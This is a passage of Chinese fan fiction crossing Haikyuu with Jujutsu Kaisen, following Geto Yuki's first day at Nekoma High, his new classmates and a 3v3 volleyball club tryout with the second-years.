入学前一晚,夏油杰倒了两杯牛奶。走到沙发前,一杯递给弟弟:“早点睡。我明天也要早点起来。” 夏油幸穿着睡衣,盘腿坐在沙发上,不眨眼地盯着电视看。 听到哥哥的话,他伸手接过,顺势往后面一靠:“夜晚的时间很好,但是太可惜了,今晚更新的剧情你肯定不爱看。” 夏油杰抿着牛奶,瞄了眼电视上撕扯中的男男女女。 “战斗?” 夏油幸摊开手:“因为爱情~” 真够夸张的。夏油杰挪回视线,对着电视屏幕点了点人数:“十二个人的爱情。” 夏油幸差点笑到把牛奶撒出来。 第二天早上,在闹钟的嗡嗡声中,夏油幸睁开眼睛。 哪怕夏油幸一直觉得,人如果总是闲着会出问题,学校也依旧是每个学生的天敌—— ——不想上学! “唰。” 他掀开被子站起来。 刷牙洗脸十分钟,背包是昨天晚上就装好,放在书桌前的椅子上的。 换上音驹的制服——白衬衫、深蓝色西装和深灰色长裤,配套的红色领带对着镜子打正,还有一件黑色的毛衣背心,夏油幸塞进包里。 挎着包路过客厅,盘算着正好顺路去街边的便利店买早餐,余光瞄到桌子上的便当盒。 “哇——这是什么啊!” 夏油幸连忙凑过去拿起。 沉甸甸的手感,显然已经被装满了,不是空盒子啊! 这算什么,开学福利,爱心便当? “尼桑,你这家伙真是的——!” 早点告诉人家啦!! - 四月上旬。东京都立音驹高等学校的空气里,已然满是开学招新的热情与昂扬。 吹落的樱花从颇具历史感的校门口一路飘到校舍,人流汇集之处,是一楼的鞋柜。 一双双脚踏着换好的室内鞋,踩过光洁的地板,自一楼到六楼,漾动着属于不同年级的差异气氛。 一年级所在的低层,公告栏已经被花花绿绿风格迥异的招新海报贴满。高年级的学长学姐握着入部申请表站在走廊,眼睛来回扫动,期盼与哪双清澈的新鲜眼睛对望。 而浮动在教室内的,是抑不住的好奇与兴奋。 音驹作为一贯制的老牌学校,有不少新生实则是作为老生,一路从小学到国中,顺畅地直升上来的。 嘻嘻哈哈的笑声和交谈声攒动在各处。一年4班的教室里,两道压抑的吸气声交织在一起。 “哇啊……” “你也看到了……” 两个国中老同学对视一眼,凑近交谈起来。 讨论的对象,是新鲜出炉的传闻。 坐后桌的男生放低声音:“就是那种……嗯……第一眼只会注意到一只眼睛,发着光似的金灿灿的瞳孔……接着留意到旁边的右眼,哇啊,原来还有另一只眼睛……黑洞洞的,好像地面突然裂开一个又深又黑的大口……” 搓了搓手臂,男生继续道:“两只眼睛都看到了,突然产生一种感觉, 这个家伙……是人类吗?那并不是应该摆在一起的双眼啊。” 前桌的男生突然感觉到一阵凉意,情不自禁地缩了缩肩膀,抱住手臂,急道:“你这家伙在说什么啊,吓死人了!” “我说的是事实啊!”后桌委屈,“那个人仔细一看,真是个帅哥呢,我又吓了一大跳……” 恐怖话题突然泛起彩色泡泡,前桌翻白眼:“突然发现自己原来是双性恋,吓到了是吧?” “……这家伙说什么呢。”后桌男生面无表情,“我只是想说,那个人毫无疑问长着一张人类的脸,还是优越的帅哥脸。意识到这点,再看到那双眼睛,就会觉得很害怕,不是吗?” 前桌一愣:“什么意思?” “就是那个啦……”后桌凑近,压低声音,“因为是帅哥,要心生好感的时候却看到那双眼睛……明明应该是人类的五官,却在关键的地方上违背了常理……还没反应过来,大脑已经发出警报……恐怖谷效应啊。” “——哇啊。” 教室的左后方,一个大大咧咧的声音毫不遮掩地响起。 一个卷着奇异飞机头的男生朝交谈声传出的右上角努努嘴,扭头对身后道:“夏油君,他们说的人好像是你。” 他这一扭头,宽阔的肩背也跟着挪了小半圈,露出坐在后面的夏油幸。 夏油幸托着脸,朝两道僵住的身体微微一笑:“我吗?” “!!” 两个男生的脸“唰”地白了。 “私、私密马赛——!!” 二人几乎和桌椅绊在一起,飞速逃出教室。 “哇啊——”飞机头惊讶地张大嘴巴,“为什么这么慌张啊?” “不知道啊。”夏油幸无辜道。 “一惊一乍的。”飞机头很不满这样的行为,“男人就要拿出点男子汉的气概啊。” “嗯哼。” “说起来,夏油君,”飞机头撑起脸,“你的姓氏和你的眼睛一样特别啊!夏油——我从来没有听过这个姓氏,更别提见到人了。” 他想也是。夏油幸道:“整个日本,姓夏油的包括我在内,只有四个人。” “哇啊——”飞机头叹道,“那岂不是宿命一般啊——” “宿命?” “你想,全日本只有四个夏油,你要是哪天遇到另一个夏油,简直像是奇迹,就是那个,一期一会!如果下一步是恋爱,简直是电视剧里的情节啊——”飞机头冒出粉红泡泡,“不过,你们这种罕见姓氏可不要因为自己的稀有而生出什么骄傲自大的心理啊!无论是什么样的姓氏,百年后都一定会变成我们佐藤氏的人,哈哈哈哈——” 飞机头佐藤君得意大笑。 “……”无力吐槽,夏油幸简直嘴角抽搐。 他的左边,几乎与桌面齐平,正埋着一个黑色的蘑菇。半长的黑发垂落,宛若帘子一般,直接将整张脸挡了个严实,此刻听到佐藤的话,忍不住抖了抖,把头埋得更低了。 佐藤笑够了,拍了拍夏油幸的桌子:“哎,等会儿我们一起去看看社团吧。音驹是文化祭很出名的学校,社团也都很有意思。” “这样啊。” “夏油,你国中是哪里的,哪个社团?”佐藤干脆连“君”也不加了。 “我是岩手县人,最近才来东京。”夏油幸道,“排球部。” “哦!”佐藤道,“我们音驹的排球部可有名了!之前非常非常有名,最近小小有名。” “佐藤君很熟悉嘛。” “我国中和小学都在音驹念。”佐藤爽朗道,“我想去看灵异研究会,一块去吧!” 夏油幸摆摆手:“作为一个无神论者,我还是更想去体育社团。” “无神论?”佐藤仔细地看了夏油幸几眼,“你看上去比我更有神论一点。你喜欢体育?” “运动总是让人健康一点,不是吗?” 飞机头发出啧啧声。 “对了,佐藤君。”夏油幸忽然想到一件事,他摸了摸裤兜里的纸币,道,“你在音驹待了这么久,对这里的人应该都很熟悉吧。” “尽管开口!”佐藤拍拍胸脯。 “正好有事。”夏油幸笑道,“佐藤君知不知道一个黑色鸡冠头的学长?” “鸡冠头?让我想想……”佐藤皱眉想了一会儿,“这样吧,等会儿出去逛社团,我帮你问问我兄弟!” “那就拜托了。” “……那个……” 旁边似乎出现蚊子般的讷讷声。 夏油幸朝左侧过脸,竖起耳朵。 “那个……” 确定了,是从帘子般的黑发下发出来的,来自左边这位一直都没有抬过头的蘑菇头。 “排球部……可以找找。” 5. 第 5 章 “谁啊?” 佐藤四顾很茫然。 黑色的蘑菇顿了顿,慢吞吞地抬起脑袋,露出一张尖脸,猫一样的眼睛朝佐藤看去。 感受到这道目光,佐藤才将视线投向右边,这一看吓了他一跳:“哇啊——怎么回事——” “——你是谁?到底什么时候出现在这里的?!” “……”蘑菇头犹豫了几秒,“孤爪……研磨。” “孤爪?”佐藤的注意力顿时被这自我介绍全部夺去,“今天这是怎么了,又来一个罕见姓氏!孤爪是你的姓?怎么写?” “……” 蘑菇头脸上露出对这份热情明显的不适应,张了张嘴巴,握紧手中的游戏机,缓缓回答:“……是有些稀少,不过整个日本……大约还是有三十人左右。” “你有点怕生嘛。”佐藤直截了当道,“那个鸡冠头的家伙,你认识吗?” 孤爪研磨抿了抿唇:“不是家伙……是我的朋友。” 佐藤忽然停顿了。 半晌,他伸出右胳膊,斜斜地朝孤爪研磨的课桌上放去,手掌拍了拍桌面,道:“你这家伙……不错嘛。一副恨不得缩到墙角的样子,却为了朋友……哟西。” 说罢,佐藤干脆把左胳膊也搭到夏油幸的桌面,两只凶猛的眼睛真诚地在后排的夏油幸和孤爪研磨间来回注视:“下午的课上完了,我们一起逛社团吧。” 在一旁观看的夏油幸笑着点点头:“好啊。” 孤爪研磨倒是看上去很想拒绝的样子,嘴唇动了动,还是没有说话。 班主任的到来转移了这微妙的气氛,夏油幸高中的第一课是班会。 夏油幸领到了好几个册子。班主任在台上确认完名单后,便开始解说册子的内容。有迟到早退、手机使用、考试之类的制度,也详细介绍了一番校内各种设施,譬如学生们的天堂保健室。 接下来便是社团相关了。音驹在文化祭方面十分有名,校内社团种类不胜枚举,无论是运动部还是□□都十分齐全,甚至五花八门的奇怪社团也不少。不光有佐藤之前提到的灵异社团,夏油幸在某一页册子的右下角还看到了昆虫研究会——再往下一瞄,简介中写最近的兴趣方向是复眼。 伴随着班主任不紧不慢的讲声,夏油幸把社团介绍册翻了一圈,目光在漫画兴趣部上停顿了两秒,还是翻到最前面——体育社团。 “放学后可以去各个社团进行见学,正式的入部申请至少下周前要交全。” 班主任离开不久,国文课开始了。书页翻动的沙沙声中,时间到了下午三点二十分,今日课程结束。 夏油幸、佐藤義久、孤爪研磨三人,走在音驹的校园中,目标暂且是债主所在的排球部,一路慢慢逛过去。 佐藤嗅闻着飘荡在音驹校园中躁动的空气分子,感慨道:“每到开学社团招新的时候,大家都很兴奋嘛!” 夏油幸开始思索起自己空白的入部申请书来。 他的第一选择依然是运动社团,不过,具体是哪个呢……夏油幸还是比较倾向于自己熟悉的运动部的。 那就是排球部了。 但是…… 直到国二上学期的暑假,他都还是空手道部的唯一部员。 国二刚开学,空手道部的教练便通知他或许要废部了。国二下,他根据教导主任的安排前往小豆中学排球部,坐在教练席上挥手的,依然是之前空手道部的教练。 作为一并打包过去的,教练在组织排球训练的同时,也没忘给夏油幸这个一直以来的学生再教教空手道。 空手道部也不错啊。 音驹这种闻名已久的公立高中,部活的教练应该很不错吧? “空手道部?”佐藤看过来。 夏油幸这才发现自己沉思中情不自禁念出声了,干脆开始和佐藤聊起来:“排球部和空手道部,陷入了纠结啊。” “排球部会好一点吧。”佐藤回忆了一番,“音驹的排球部很久之前是春高常客,那会儿我似乎在上幼儿园或者小学。最近几年虽然没落了,不过我上国中的时候有听说,高中排球部的教练是一位全国级别的名师。相对而言,空手道部的事情不怎么听说。” 夏油幸若有所思地点点头。 没走一会儿,佐藤的眼睛便完全地跟着负责灵异社宣传的学长学姐走了—— 【我们是灵异研究会。 为探寻一切超自然现象而存在。 我们的口号是—— 找出妖怪!一定要!! 听说三岁以前的婴儿,能够看见大人看不见的东西。可随着慢慢长大,那双眼睛便逐渐失去了以往的灵性。 于是,大家便异口同声地说—— 「这个世界上,是没有妖怪的!」 而本研究会,正是为了推翻“不可能”而存在。 哪怕只有0.01%的可能性,我们也要为之不懈努力、奋斗到底!】 佐藤发出响亮的叹息。 “好……好一个「为了0.01%的可能努力」的社团啊!这就是我要的地方……就是它!” 夏油幸挥手:“拜拜~” 孤爪研磨往旁边移了移,给气势汹汹的佐藤让道。 三人队伍变成了两人队伍,空气一下子安静下来。 不用夏油幸根据指示牌辨识路线,孤爪研磨认得高中排球部的位置。大概是因为朋友吧。 夏油幸思绪漂动。 想起排球,那场比赛的记忆便会浮出。自己大力扣出的一球,让对面成功到达25分的那一幕。 不过说起来,真正印象深刻的,不是失败的结果,更准确点讲,时间应该再往之前拉—— 拦在球网上方的,三双高耸的手掌。 密不透风的三人拦网,全国八强的长光中学……将这样的高墙打穿,对面的风景…… 夏油幸脚步平稳。 走在旁边的孤爪研磨一直抓着手中的游戏机,头低低地垂下。神奇的是,这一路上,他从未摔过跤。 一专注游戏、黑发遮脸,一垂眼沉思、面容冷淡。 在旁人看来,无论哪个,都实在不太像能随便上前搭话的类型。这临时的二人小组步伐一致地向排球部迈进。 “嘭——!” “啪——!” “——再来!!” 离排球部所用的体育馆还有一大截距离的时候,鞋底摩擦地板的尖声、排球砸在地面上的闷响,“砰砰啪啪”,十分清晰地自馆内涌出。 伴随着不耐的喝声,专心游戏机的孤爪研磨也忍不住一顿,双手飞快地按了几下按键,不知道有没有通关,总之将游戏机塞到兜里。 两人走近了。 完全符合佐藤的介绍,这曾有无限风光的音驹排球部,此刻正享用着一个相当宽阔的体育馆。地板似乎还打了蜡,几片区域显得十分光洁,在顶灯下,简直波光粼粼。 最引人瞩目的,便是场馆的中央,堆着半篮排球的球筐,和在地面滚动着的蓝黄相间的小球,以及穿着球衣、以排球部正式部员的姿态,站在标志杆旁皱眉训斥的—— “——再来!”

“啊啊啊——” 身着校服衬衫的高一生咬牙跃起,大喊着扣出抛过来的球。 这是一个小斜线。 失败的小斜线。 排球自低年级的右掌心击出,朝左侧斜斜飞去,毫不意外地落在了界外。 “砰。” 低年级落回地面,还没收回的手抖了抖:“抱……抱歉!” “——哇。” 显而易见地,高年级脸上露出一种奇怪的神情。 “你到底是为什么,来申请我们音驹排球部的啊?” “私密马赛——!” “真麻烦……算了,新手——给我扔球。” 低年级连忙将身体直起,啪嗒啪嗒地跑到场边捡起最近的一颗排球,回到之前的位置,努力朝学长的方向一丢。 嘴唇嗫嚅着。 不敢提醒对方换个位置,面对着球网。 排球抛出,低年级连忙错开眼睛。 “居然低头——哇,我到底是为谁扣的啊——” 不耐一路自胸口涌到掌心,高年级烦躁地一跳,想要以这一扣发泄出来似的,朝排球挥出。 真是的,居然还耽误了他的训练—— “砰——” 排球以与球网平行的角度,朝场馆门口飞去。 场馆外,夏油幸和孤爪研磨的脚步朝场馆内一迈。 “!” 孤爪研磨抬头,金黄的瞳孔猫一般地缩细。 蓝黄相间的球影在视野中急速放大,风声比排球更先一步抵达耳边。 几乎马上要砸中两人之时,夏油幸举起左手。 “啪。” 排球撞上那只手。 手腕一丝晃动也无,唯有掌心的排球证实着刚才一幕的存在。仿佛撞上的并不是手掌,而是一面墙。 “哇。” 夏油幸把排球丢到右手,掂了掂,惊奇道:“这是什么,见面礼吗?孤爪同学,你家里有没有哪个亲戚做律师,我们要一要精神损失费吧。” “……”孤爪研磨微不可见地舒了一口气,“……没有。” 一阵急促的脚步声自馆内响起。 夏油幸半只脚踩在门槛上,朝里面打量,一个熟悉的面孔赶来。 ——黑色鸡冠头。 外套是红色的、印着NEKOMA的字样,大概是音驹队服。手上还握着一沓散乱的纸,看上去像匆匆赶来。 “呼——”鸡冠头这次却没有寒暄,面上也没有之前偶遇时那轻松的坏笑。打量了场馆门口的两个人几眼,他道,“没事吧。” 不紧不慢的脚步自他背后响起。一只手从后面横插过来,鸡冠头只能往旁边让了半步。一道穿着球衣的身体占到门口。 “黑尾。”刚才扣球的高年级惊讶地对着鸡冠头道,“不是让你去招新么?” “夜久和海在外面。” “所以你回来了?”高年级揶揄地看了名为黑尾的少年一眼,“很会物尽其用嘛。” “……” “我看看——”高年级的目光从后辈脸上移开,终于朝前方望去。 “……哇。” 高年级不禁张大嘴巴,手指抬起:“这是——” 自那根手指的方向望去,意料之中地,黑尾铁朗看到了那双一黑一金的异瞳,还有唇角的弧度。 他的眉头终于深深皱起,上前一步,挡在体育馆门口,遮住高年级的大部分身体,以及那根失礼的手指。 “加藤学长,这两位是前来见学的一年级生。” 6.第 6 章 “——围在这里做什么?” 就在气氛变得有些僵硬,名为加藤的高年级两条眉毛也有拧在一起的趋势的时候,自后方忽然响起一道声音。 快速靠近的脚步声是杂乱的,不止有一个人。 眨眼间,一伙人便站到体育馆门前。位于最中间的,是一个个子小小的少年。一头卷毛,浅金中又泛着一点淡亚麻棕色。 “想要入部的一年级,我带过来了。”卷毛——夜久卫辅说着,疑惑的目光顺着面前转了一圈。 看到夏油幸和孤爪研磨时,猜测到大概也是有入部意向的一年级,便朝两人点点头。 “喂,加藤——来训练了!” “招新的事交给后辈去做就可以了——” “你还是这么有责任心啊!二年级的也不要闲着嘛——” 听到馆内传出的呼唤声,加藤眉心一松,扭头回应道:“来了!”转回身时,又朝站在网边、正呆呆地看着这边的一年级招招手。 一年级回过神来似的一激灵,马上朝门口跑来,脚下的鞋踩在地板上,发出哒哒哒的声音。 用下巴示意一年级站到门外,加藤双臂环胸,冷冷道:“即使是在东京,我们音驹高中的排球部也是排得上号的。入部就得拿出努力,证明自己的价值。好好考察他们,二年级的。” 说罢,转身离去。 “……” 场馆门口陷入了沉默。 半晌,卷毛小个子开口道:“不要在意。” “——怎么会不在意嘛。”黑尾铁朗插嘴道。 “哈?我是在安慰学弟!” “从学弟们脸上的表情来说,这个安慰似乎不太有效哦……” “你这家伙——!”夜久卫辅额角绷出一个十字。 凝滞的气氛顿时松动,一年级们齐刷刷地对两位学长行以注目礼。 余光掠过后辈们纯良的脸蛋,夜久让自己呼出一口气。冷静下来,拍拍胸脯,重新换上可靠前辈的笑容,夜久和蔼道:“不要理会无关紧要的事情——那个,我叫作夜久卫辅,大家叫我夜久前辈就好。” “……” 回应他的,是一阵沉默。 预想中的五个后辈排排站,乖巧地同步张嘴喊“夜久前辈——”的场景,并没有发生啊。 “噗嗤——” “……”夜久卫辅面无表情地反手挥出一拳,又若无其事地转回身道,“大家都是第一次见面,那么,做个自我介绍吧。” “嗨——”自夜久卫辅脑袋后上方举起一只手臂,挥了挥,“黑尾铁朗,二年级。” “我是海信行,同样是二年级。”和夜久卫辅一起前来,刚才一直沉默地站在一旁的高个子微笑着接道。他长得十分面善。 “……”夜久卫辅抿唇,“我是让后辈们做介绍。” “有什么关系啊——” “哈哈——” “……”不愿理会,夜久卫辅将目光再次投向后辈们。 就在这个时候,他敏锐地捕捉到,面前五只后辈中,最左边的、也是刚刚从场馆内走出来的那位,正满脸忐忑地看着他,嘴唇不安地嗫嚅着。 夜久卫辅十分和颜悦色地回以点头。为了缓解这份不安,他主动笑着对学弟道:“你刚才是在馆内试打吗,怎么还穿着衬衫?不知道换运动服的地方吗,慢慢来。” 一年级眼里顿时含上一包泪,嘴唇一动一动地,似乎发出了一些声音,夜久卫辅听不清。 他干脆朝学弟走了两步,将耳朵凑过去。 “退、退部……不,离、离开……” “哈?”夜久卫辅抬头。 两双眼睛对视的一瞬,仿佛被夜久的那双淡金棕色瞳孔激发了勇气似的,一年级“唰——”地后退两步,朝夜久进行了90°的大鞠躬:“斯密马赛——” 夜久卫辅抬手:“那个……” 然而,一年级已经直起身体,一溜烟地跑走了。 伸在半空的手无助地抓了抓,夜久卫辅沉默地收回来,抓抓自己的后脑勺。 气氛,似乎又尴尬起来了。 “哟西——”黑尾铁朗干脆拍了拍手,上前一步,双臂环胸,站到一年级队伍面前,用威慑力十足的目光一寸一寸打量过去,“还有谁想走的话,就趁这个机会离开吧!如果有留下来的打算,那么,报出你们的名字——” “……” 站在一年级中的孤爪研磨,脸颊忍不住抽了抽。 恶人颜啊,小黑。 背后那张「第一体育馆」的标牌,看上去换成「山口组」——不,「黑尾组」,要更合适一点。 孤爪研磨主动道:“……孤爪研磨,国中是排球部,二传手。” 黑尾铁朗笑着点头。 站在孤爪研磨左边的,是一个看上去十分适合加入黑尾组的莫西干头少年。少年挺起胸膛,大声道:“山本猛虎!排球部,主攻手!” 说罢,山本猛虎本想朝队伍右边看,又忽然想起自己左边还有一个和他一起过来的人,连忙把脑袋转了回去。 顿时,他和一张猫似的脸对上了视线。对方安静地眨眨眼睛:“福永招平,主攻手。” “哦!”山本猛虎顿时目光一凛。 不过,这还不是最要紧的。 莫西干头凝重地看向右边。 从一开始,就注意到了。 实在无法忽视啊…… 比他能高半个拳头的身体。 山本猛虎的目光紧紧锁定队伍的另一端。 在排球这项运动中,身高无疑是天资。同样的一颗球,身高上占据优势的人,只需平常地起跳,而身高不够的人,却需要更早、更快、更用力……而主攻手同样需要参与的拦网,身高更是无法忽视的武器。 似乎察觉到这份目光,异瞳的少年转动脑袋,朝山本猛虎礼貌地笑了笑。 “我是夏油幸。国中时的位置,是主攻手。” 确定了。山本猛虎眼中燃起熊熊烈火。 这一幕,被三个学长尽收眼底。 夜久卫辅笑着挑眉:“嘛……后辈们很有干劲嘛。” 海信行摇头:“哈哈,还是要好好相处啊。” “这是一定的。”夜久卫辅道,目光投向一旁的黑尾铁朗,“最后那个,就是……” “嘘。”黑尾铁朗眨眨眼。 就在这时,夏油幸从裤兜里摸出几张纸币,递给黑尾铁朗:“上次的事情,多谢黑尾前辈了。” 黑尾铁朗接过,道:“来都来了,干脆打一场3v3怎么样?” 3v3? 就是那个,简单的试打吧。 国中时,3v3的训练他也做过不少,不过……夏油幸面上不禁带上几分犹豫。 左手抬起,捏了捏自己的胳膊,有点软——诶,等一下。 有点软……? 哈——难道这个春假,因为忙手续、忙文件,一切尘埃落定之后来东京躺了整整七天,把他的肌肉躺没了一层?< /p>哇,真是的—— 少年的表情变来变去,看上去十分精彩。 “怎么了?”黑尾铁朗疑惑道。 “……我没有带运动服。” “为了这种事?”黑尾铁朗的右眉高高地挑起。这家伙是对小事无比在意的类型啊,“校服衬衫也可以吧。” “不要。”夏油幸皱眉,“打一场比赛,身上汗津津的,新鲜的校服回去又得洗了。” “那就洗。” “很麻烦啊。” 黑尾铁朗:“……” 夜久卫辅瞧着这幅场景,不知道为什么忽然想笑。他笑眯眯地说:“好了好了,洗衣服确实是很麻烦的事啊,作为前辈要体谅后辈的心情。那么,借一件给你吧,我的?” “哈?”黑尾铁朗笑嘻嘻地拉长尾音,“阿久啊——你确定你的衣服夏油君穿得上吗?” 夜久卫辅额角一跳。 不用思考其他可能,这家伙……在嘲笑他的身高啊! 夜久卫辅朝黑尾铁朗扑过去,被海信行眼疾手快抓在半空:“冷静一点,后辈们还在呢——” 看着面前的这出情景喜剧,夏油幸弯起眼睛。 与个性显然不怎么样的加藤不同,面前的这三位二年级的学长,看上去关系十分不错,也不像是很在意体育会系优良传统的人。 如果部里的人都是那种性格,没有继续下去的必要。更何况是在见学的阶段,是他在挑选社团。 对了……要不要试试剑道和弓道再决定? 小豆中学是没有剑道部和弓道部的,夏油幸曾经对这两个部活感兴趣过,说起来,音驹这样的学校应该会有吧…… “——喂,快去换衣服吧!”黑尾铁朗伸手在这个陷入沉思的少年面前打了个响指,“我把我的队服外套借给你。” 夏油幸回过神来:“我也没有带护膝……” “哇啊——你到底是怎么来的个性啊!”黑尾铁朗夸张地道,“Lucky,我正好有护膝——备用的,昨天刚晒好。” 在好脾气的海信行的带领下,四个有入部意向的一年级,朝体育馆的更衣室走去。 夜久卫辅端详着那四个背影,尤其其中最高的那个:“夏油君就是你说的,力气超——大的那位吗?” 黑尾铁朗神奇道:“天助,我还以为要费一番口舌。哪怕顺利招他加入,培养也需要大量时间。想不到他国中正好是排球部的,还是主攻手的位置。我们不正好缺一个强势的攻力吗?” “唔……无论怎么样,都需要进行一番磨合。”夜久卫辅食指抵在下巴上,“不知道他防守怎么样呢?” “已经畅想起来了啊。” “你不早就自顾自把学弟算进排球部了吗?有没有问过后辈的意见啊。” “谁让后辈恰好自己送上门了呢?” “到底是恰好还是因为两千円的欠款啊——恶魔前辈!” “哈?” “哈!” “——喂,你们两个!” 属于海信行的声音无奈地响起。 夜久卫辅和黑尾铁朗互相一瞪,将目光分开,投向前方。 面前,其余三个学弟穿着音驹统一的运动服,夏油幸则穿着排球部的红色队服外套,除了稍微有点长以外,其他部分看上去,称得上一句正好。 夜久卫辅点点头。 音驹排球部新鲜血液的涌入,就在眼前啊。 “那么,开始分组吧,3v3。” 7.第 7 章 此时此刻,音驹排球部体育馆里,一年级四人——夏油幸、孤爪研磨、山本猛虎、福永招平。 三个主攻手,以及一个二传。 四人互相对视几眼。 3v3,怎么分? 黑尾铁朗拍拍手:“一年级的小鬼们,分成两组,一组两人。我、夜久、海,分别是副攻手、自由人、主攻手。怎么分组、邀请哪个学长,交给你们了。” 面前算得上宁和的气氛霎时一滞。 这位鸡冠头学长的目的十分明显。 测试不止在比赛中,而是从这一刻就开始了。 首先被考验的,是决策能力。 孤爪研磨开口了:“我做二传,其他位置不行。” 山本猛虎没有犹豫,跃跃欲试道:“哟西,我和你一队!” 虽然觉得这个蘑菇头周身气势太萎靡了一些,有点相性不合,可马上就是比赛了,能够选择的所有人里只有这一个二传手! 在排球这项依赖团队配合的运动中,没有二传手的托球,主攻就像折断了翅膀啊! 山本猛虎炯炯的目光转向夏油幸。 来吧!出招吧! 夏油幸却没有他预想的那样,做出什么竞争之类的举动,反而笑着对一旁的福永招平道:“我们就是一组了。” ……诶? 山本猛虎飞速转动的大脑一滞。 这家伙……一点都不打算出手的吗?!不争取争取唯一的二传吗? 求豆麻袋…… 山本猛虎顿时瞪大眼睛,仔仔细细地打量了一番对面这个他已经视为对手的人。 难不成这家伙只是外表长得冷冰冰……实则是个软心肠的人么? 仿佛对这道毫无遮掩的目光没有任何感觉似的,夏油幸转而对面前二年级的学长道:“那么,黑尾前辈,拜托了。” 黑尾铁朗咧嘴笑:“好吧。” 孤爪研磨嘴唇张了张,道:“……夜久前辈,拜托了。” “哟西。”夜久卫辅拍了拍这个慢吞吞的学弟的肩膀。 分组确定了,夏油幸对他新鲜出炉的队友福永招平道:“你除了扣球还擅长什么吗?我姑且可以做做二传。拦网就交给黑尾前辈了。” “苦劳。”面前猫似的少年张张ω样的嘴巴,忽然丢出一个词。 “哈?”夏油幸一愣,对方是在跟自己打招呼吧,“还好,你也要辛苦。” 福永招平摇摇头:“黑尾。” 黑尾?夏油幸一时间没搞懂。 黑尾——Kuroo。 苦劳——kurō。 夏油幸一顿。 “……” 这家伙……难不成是在玩谐音梗? 周身忽然升起一股寒意,夏油幸耸了耸肩膀,快步朝场内走去。 夏天到了以后,多和福永君说两句话吧。 现在就免了。 ——排球部见学小分队,3v3测试赛,预备—— A组三人——二传手孤爪研磨,主攻手山本猛虎,自由人夜久卫辅。 B组三人——主攻手夏油幸,主攻手福永招平,副攻手黑尾铁朗。 公正的裁判——海信行。 “啪。” 在海信行合十的大掌中,比赛开始了。 取得发球权的,是A组。 山本猛虎来势汹汹,大喝一声,蹬地挥臂:“啊啊——” 正面上手发球。 夏油幸朝旁边挪了两步,道:“黑尾前辈,交给你了。” 这家伙。 黑尾铁朗嘴角抽搐,脚下却当仁不让地往预判的落点一站,排球稳稳地落到他摆好的手臂上。调整角度,往夏油幸的方向一送。 夏油幸抬手,指尖张开,轻轻一托,排球丝滑地朝网前飞去。 早就在那里准备着的福永招平眼睛一亮,跃起扣下。 “……~” “啪——” 排球稳稳地被对面接起。 夜久卫辅表情十分轻松,姿势轻巧地将球垫到二传手孤爪研磨所在的位置。后者抬手托球,山本猛虎再次跃起扣下。 “哟西——!” 排球越过球网飞来,这次,黑尾铁朗老神在在地叉腰,没有要接的意思。 测试测试,测的是后辈的本事。球都让他接了,怎么能看出来新生们的技术呢? 这一球顺利地被夏油幸接起了。夏油幸的一传说不上亮眼,但也挑不出什么毛病。 球垫向黑尾,扣球还是福永来。 网的对面,夜久卫辅也有放手给后辈们表现的意思。孤爪研磨用目光示意山本猛虎去做一传,后者没有迟疑。 孤爪研磨很快将球托回网前,山本猛虎调整脚步,再次起跳。 不想拉长战线,让这颗球成为彻底的回合战,山本猛虎这次用足了力道——斜线球! 站在底线附近的夏油幸往旁边挪了挪。 “出界。”他摆摆手。 海信行将记分牌翻动一页:B组得一分。 “啊!”山本猛虎懊恼地大喊一声,随即马上鞠躬,“私密马赛——!” “嘛嘛——”夜久卫辅连忙把学弟扶起,“你太激动了吧,山本?” “是!”山本猛虎“唰”地抬头,直视着夜久卫辅,“我国中的时候就听过音驹的名字了,来这里打排球,是我的心愿!” “哈哈。”夜久卫辅笑着摇摇头,“你这副热血笨蛋的样子,我倒是不讨厌啊。好好打。” “是!” “哟。”黑尾铁朗将目光移向自己这边的两个学弟。 回应他的是两双平静的大眼睛。 轮到B组发球了。 “福永君,你来吧。” 福永招平眨了眨眼睛,有些困惑。 夏油幸摆摆手:“今天总觉得有些不适合打球。” “……”啥意思。福永招平困惑。玄学上的东西吗? 福永招平选择了稳稳当当的上手发球。 这一球不重,线路却很深,令网对面的山本猛虎跑动的脚步迟疑一瞬。判断不出究竟会不会擦过底线,山本猛虎最后还是选择接起。 孤爪研磨起跳,山本猛虎也大喊着自后排冲向前。 夏油幸做好接球的准备。 就在这个时候,意外发生了。 对面正在进行二传的孤爪研磨,忽然一歪手。顿时,蓝黄相间的排球自他掌心轻轻滑出,越过球网,在空中划过一道垂落的弧线,轻飘飘地落到地上,弹了弹。 这一幕太过突然,不管是夏油幸还是福永招平,都没有做好准备。 黑尾铁朗吹了声口哨:“看似传球,实则进攻,这是属于二传手的二次进攻哦。” “小崽子们,”黑尾铁朗看着两个后辈道,“防守需要注意的,不仅仅是后场区,而是整块场地。贴网的球,往往是失分的来源。” A组:B组=1:1。 发球权回到山本猛虎手中。 攻过来的一球,这次,托球交给了福永招平。 排球自福永的双臂弹向网前,夏油幸直接起跳,挥动右臂扣下。 “砰。” 孤爪研磨皱着眉,被动地接下了这一球。 排球砸得他的双臂一颤,带着旋转,飞向场外。 “……”夜久卫辅眼睛里燃起兴味,“下一球我来接。” 海信行摇摇头,给B组翻了一分后,目光温和地看回场上。 经过这几球,大家 开始进入状态了。 在场边的他看得格外清楚。 这张被球网隔成两半的场地上,左边的A组,有着夜久-孤爪-山本构建起来的完整的攻防线。 而右边的B组,乍看之下较为零碎,却也有自己的节奏。黑尾稳固的接球确保了一传,夏油幸的二传并不生疏,福永的扣球灵巧而稳定;需要强攻的时候,夏油幸也能补上最后一击。 那颗熟悉的蓝黄小球在空中不断飞来飞去,海信行的面上逐渐带上笑意。 崭新的音驹,要来了。 …… “喂——” 一道懒洋洋的声音响起,随之而来的,还有一只搭在海信行肩膀上的胳膊。 “比赛还没结束啊?” 海信行好脾气地回答道:“是啊,山田前辈。” 名为山田的三年级笑了笑,将胳膊从后辈身上抬起,往腰侧一叉:“停下吧。” 海信行一愣。 “停下好了。”另一道声音重复道,“23:24,已经够久了。” “可是,B组已经到了局点……” “差不多的水平才会打到这个分。”这道声音染上不耐,“继续下去还是一样。要是对面也到局点,难不成还要陪他们上30分吗?” 海信行无奈地抿抿唇,想随便找个话题拖延时间。最好就趁这一小会儿,B组干脆利落地打到25分…… 但场上的声音,已经停了下来。 黑尾铁朗和夜久卫辅自两侧走到海信行跟前,各伸出一只手,一左一右拍了拍他的肩膀。 “够了够了。”小个子的自由人爽朗道,“后辈们的实力,我已经全部看清楚了。” 没等海信行做出什么反应,旁边人便道:“夜久,你是已经打算把他们都要下来了?” “哈哈哈——” 黑尾铁朗笑了起来:“当然,入部还需要队长和教练的同意啊。” 